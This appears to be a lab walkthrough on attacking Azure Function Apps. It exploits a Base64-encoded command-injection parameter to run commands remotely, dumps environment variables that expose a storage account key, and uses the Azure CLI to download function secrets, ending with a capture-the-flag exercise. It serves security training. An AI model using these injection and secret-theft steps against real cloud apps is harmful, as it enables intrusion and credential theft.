Azure Function Apps is a serverless solution for Azure which is currently built on top of Azure's App Service.

Azure App Service is a Platform as a Service (PaaS) solution.

A Function App hosts and executes individual functions contained within the App.

RCE via Web App Vulns

We reverse engineer an application and find it is making calls out to the following URL:

```
https://lizardblue.azurewebsites.net/api/gui?update=ZGlyIC9iIEQ6XGhvbWVcc2l0ZVx3d3dyb290XGd1aVx1cGRhdGVzXA==
```

We can see that the "update" GET parameter takes input in the form of a Base64 encoded string which decoded looks like

```
root@ip-10-0-1-251:~# echo -n "ZGlyIC9iIEQ6XGhvbWVcc2l0ZVx3d3dyb290XGd1aVx1cGRhdGVzXA==" | base64 -d

dir /b D:\home\site\wwwroot\gui\updates\
```

If we replace the value associated with this parameter to some other command (e.g. dir)...

```
root@ip-10-0-1-251:~# echo -n "dir" | base64

ZGly
```

And send that value to the web application, we see something similar to this:

```
root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "dir" | base64)

...
07/16/2016  01:19 PM           286,208 AppIdPolicyEngineApi.dll
06/30/2018  03:48 AM            22,528 appidtel.exe
07/16/2016  01:23 PM    <DIR>          AppLocker
...
```

We can view the source code to the application via viewing the content of the D:\home\site\wwwroot\<Function_Name> directory.

Multiple Functions

Frequently multiple functions within the same web applications will have different secrets/keys which enable access to different portions of the apps (e.g. user access vs. admin access). If we gain RCE within a function we can view and/or modify the encrypted version of these secrets/keys. Originally these secrets where stored within the D:\home\data\functions\secrets directory but have subsequently now been moved to a blob storage container, so we can find the secrets to the blob storage container via viewing using the set command on the remote target to view the current environment variables:

```
root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "set" | base64)

...
APPSETTING_AzureWebJobsStorage=DefaultEndpointsProtocol=https;AccountName=lizardbluea42f;AccountKey=5gn0iYpRCsqgCfSgW9lcIhZk2ZRTFt0YkCerv9sUw21d32o3RIaC+5QOVJzNhqchv62n7kx3WZ+0o506Jdq
...
```

We can then use the azure cli to access these secrets:

```
root@ip-10-0-1-251:~# cd /shared
root@ip-10-0-1-251:~/shared# cnoio_azureclione
root@812909350b2c:/app# cd /shared
root@812909350b2c:/shared# export AZURE_STORAGE_ACCOUNT=lizardbluea42f
root@812909350b2c:/shared# export AZURE_STORAGE_ACCESS_KEY=5gn0iYpRCsqgCfSgW9lcIhZk2ZRTFt0YkCerv9sUw21d32o3RIaC+5QOVJzNhqchv62n7kx3WZ+0o506JdqIzA==
root@812909350b2c:/shared# azure storage container list

info:    Executing command storage container list
+ Getting storage containers
data:    Name                   Public Access  Last Modified
data:    ---------------------  -------------  -----------------------------
data:    azure-webjobs-hosts    Off            Tue, 23 Oct 2018 04:41:05 GMT
data:    azure-webjobs-secrets  Off            Tue, 23 Oct 2018 04:41:31 GMT
info:    storage container list command OK


root@812909350b2c:/shared# azure storage blob list --container azure-webjobs-secrets

info:    Executing command storage blob list
+ Getting blobs in container azure-webjobs-secrets
data:    Name                          Blob Type  Length  Content Type              Last Modified                  Snapshot Time
data:    ----------------------------  ---------  ------  ------------------------  -----------------------------  -------------
data:    lizardblue/gui.json           BlockBlob  429     application/octet-stream  Tue, 23 Oct 2018 04:43:23 GMT
data:    lizardblue/host.json          BlockBlob  744     application/octet-stream  Tue, 23 Oct 2018 04:41:31 GMT
data:    lizardblue/httptrigger1.json  BlockBlob  429     application/octet-stream  Tue, 23 Oct 2018 04:41:31 GMT
...

root@812909350b2c:/shared# azure storage blob download --container azure-webjobs-secrets --blob lizardblue/httptrigger1.json
...

root@2915804acc9e:/shared# cat lizardblue/httptrigger1.json
{
  "keys": [
    {
      "name": "default",
      "value": "CfDJ8AAAAAAAAAAAAAAAAAAAAACIVXMc_j9nMbDcQG-_aNw-yjJ0pB6DWtUyVCUhPv5L7liSurA9FCDlVVg8e_GkjBPz7t8Zw8B4lN5ddZol0FpXk-qA5iPZk1XLg2CMgKb6QaTmn5yLRIpVpPSuRlVOH0JIdDoG-qVCVt1
      "encrypted": true
    }
  ],
  "hostName": "lizardblue.azurewebsites.net",
  "instanceId": "7d3d769ddd898adad8d06a7fa8abd349",
  "source": "runtime"
```

Exercise

The Plan:

- Find the Secrets AKA Flags!

-- Look in the Azure Storage Account!

References:

Check out the following references for more information:

- Azure Functions - https://azure.microsoft.com/en-us/services/functions/
- Azure Functions documentation - https://docs.microsoft.com/en-us/azure/azure-functions/
- What Is the Azure App Service? - https://www.petri.com/azure-app-service